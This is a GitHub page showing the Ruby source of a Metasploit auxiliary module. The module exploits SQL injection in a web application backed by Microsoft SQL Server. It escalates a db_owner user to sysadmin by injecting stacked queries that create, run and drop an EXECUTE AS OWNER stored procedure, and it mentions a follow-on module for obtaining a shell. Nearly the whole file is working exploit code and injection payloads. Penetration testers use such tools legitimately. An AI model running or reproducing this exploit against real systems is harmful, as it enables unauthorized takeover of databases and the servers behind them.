-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmssql_escalate_dbowner_sqli.rb
executable file
·203 lines (168 loc) · 6.38 KB
/
mssql_escalate_dbowner_sqli.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Escalate Db_Owner - SQLi',
'Description' => %q{
This module can be used to escalate privileges to sysadmin if the user has
the db_owner role in a trustworthy database owned by a sysadmin user. Once
the user has the sysadmin role the mssql_payload_sqli module can be used to obtain
a shell on the system.
Syntax for injection URLs:
Error: /account.asp?id=1+and+1=[SQLi];--
},
'Author' =>
[
'nullbind <scott.sutherland[at]netspi.com>'
],
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
))
end
def run
# Get the database user name
print_status("Grabbing the database user name from #{rhost}:#{rport}...")
db_user = get_username
print_good("Database user: #{db_user}")
# Grab sysadmin status
print_status("Checking if #{db_user} is already a sysadmin...")
sysadmin_status = check_sysadmin
if sysadmin_status == 1
print_good("#{db_user} is already a sysadmin, no esclation needed.")
return
else
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
end
# Check for trusted databases owned by sysadmins
print_status("Checking for trusted databases owned by sysadmins...")
trust_db_list = check_trust_dbs
if trust_db_list.nil? || trust_db_list.length == 0
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
return
else
# Display list of accessible databases to user
print_good("#{trust_db_list.length} affected database(s) were found:")
if trust_db_list.length == 1
trust_db_one = trust_db_list.flatten.first
print_status(" - #{trust_db_one}")
else
trust_db_list.each do |db|
print_status(" - #{db[0]}")
end
end
end
# Check if the user has the db_owner role in any of the databases
print_status("Checking if #{db_user} has the db_owner role in any of them...")
dbowner_status = check_db_owner(trust_db_list)
if dbowner_status.nil?
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
return
else
print_good("#{db_user} has the db_owner role on #{dbowner_status}.")
end
# Attempt to escalate to sysadmin
print_status("Attempting to add #{db_user} to sysadmin role...")
escalate_status = escalate_privs(dbowner_status,db_user)
if escalate_status == 1
print_good("Success! #{db_user} is now a sysadmin!")
else
print_error("Fail buckets, something went wrong.")
end
end
#
# Functions
#
def get_username
# Setup query to check for database username
sql = "(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')"
# Run query
result = mssql_query(sql)
# Parse result
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
# Return user name
return parsed_result
end
def check_sysadmin
# Setup query to check for sysadmin
sql = "(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')"
# Run query
result = mssql_query(sql)
# Parse result
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
# Return sysadmin status
return parsed_result.to_i
end
def check_trust_dbs
# Setup query to check for trusted databases owned by sysadmins
sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
# Run query
result = mssql_query(sql)
#Parse results
parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)
# Return sysadmin status
return parsed_result
end
def check_db_owner(trust_db_list)
# Check if the user has the db_owner role is any databases
trust_db_list.each do |db|
# Setup query
sql = "(select 'EVILSQLISTART'+'#{db[0]}'+'EVILSQLISTOP' as DbName
from [#{db[0]}].sys.database_role_members drm
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
# Run query
result = mssql_query(sql)
# Parse result
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
# Return sysadmin status
return parsed_result
end
nil
end
# Attempt to escalate privileges
def escalate_privs(dbowner_db,db_user)
# Create the evil stored procedure WITH EXECUTE AS OWNER
evil_sql_create = "1;use #{dbowner_db};
DECLARE @myevil as varchar(max)
set @myevil = '
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
end';
exec(@myevil);--"
mssql_query(evil_sql_create)
# Run the evil stored procedure
evilsql_run = "1;use #{dbowner_db};
DECLARE @myevil2 as varchar(max)
set @myevil2 = 'EXEC sp_elevate_me'
exec(@myevil2);--"
mssql_query(evilsql_run)
# Remove evil procedure
evilsql_remove = "1;use #{dbowner_db};
DECLARE @myevil3 as varchar(max)
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
exec(@myevil3);--"
mssql_query(evilsql_remove)
# Check sysadmin status
sysadmin_status = check_sysadmin
# return parsed_result
return sysadmin_status.to_i
end
end